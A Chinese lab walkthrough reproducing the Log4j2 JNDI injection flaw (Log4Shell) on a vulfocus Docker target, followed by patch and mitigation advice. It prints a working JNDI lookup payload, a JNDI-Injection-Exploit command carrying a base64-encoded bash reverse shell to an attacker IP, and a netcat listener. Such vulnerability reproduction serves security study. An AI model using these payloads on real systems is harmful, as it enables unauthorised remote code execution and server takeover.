Apache log4j2 远程代码执行漏洞复现👻
最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,复现一下看看。
漏洞原理:
Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
漏洞详情:
Apache Log4j 远程代码执行漏洞 严重程度: 严重由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析:Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
环境搭建
环境地址:http://vulfocus.fofa.so/#/dashboard
找到了一个docker环境,vulfocus上面可以直接拉取Apache log4j2的环境复现
- 安装docker
- 安装vulfocus
- 直接拉去log4j2环境镜像启动就行
前两步安装docker以及安装vulfocus可以参考如下链接:
https://blog.csdn.net/m0_50406447/article/details/119169686
漏洞复现(DNSLOG)
启动环境之后打开IP得到如下页面:
访问如下URL地址:http://vulfocus.fofa.so:43133/hello
然后通过POST传入如下payload验证dns访问:
payload:payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}
我们发现成功回显结果,说明执行成功。
漏洞复现(反弹shell)
我这次实验是公网上面搭建的靶场,所以反弹shell用的自己的公网vps,请自行配备一个公网的vps即可(或者自己本地搭建靶场,在本地反弹shell也可!):下面实验开始
- 搭建靶场,步骤按上面搭建好的。
- 下载一个jar包用来搭建ldap服务器和http服务器
下载地址:链接:https://pan.baidu.com/s/1XGXspiK9KuOU3kk_GRXb4w 提取码:zrvu
下载之后运行这个jar包,执行以下命令开启
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "1.2.3.4"
说明:上面的base64就是一个反弹shell的代码,换成自己的ip和监听端口,重新生成base64放进即可,还有后面-A的也换成自己的监听ip
我的监听ip是101.42.xx.xx:9999,按自己情况修改
执行命令之后,启动了服务,终端会显示5个payload,按自己的java版本选择对应的payload去执行即可,这里我选的第5个payload:rmi://101.42.xx.xx:1099/vgylii
然后我们在开启一个终端,监听刚刚设置的端口9999
nc -lvnp 9999
然后去靶场执行上面生成的payload,等会反弹shell连接。
执行成功会出现ok,然后看看我们刚刚监听的端口已经连接上了反弹shell
至于执行其他什么命令自己base64编码执行即可!👻好了,这个实验就结束啦。
漏洞修复方案:
Apache官方已发布补丁,腾讯安全专家建议受影响的用户尽快升级到安全版本。
补丁下载地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
漏洞缓解措施:
(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2)log4j2.formatMsgNoLookups=True
下面贴上细节分析的链接:
https://bbs.ichunqiu.com/thread-62322-1-1.html
https://www.oschina.net/news/172999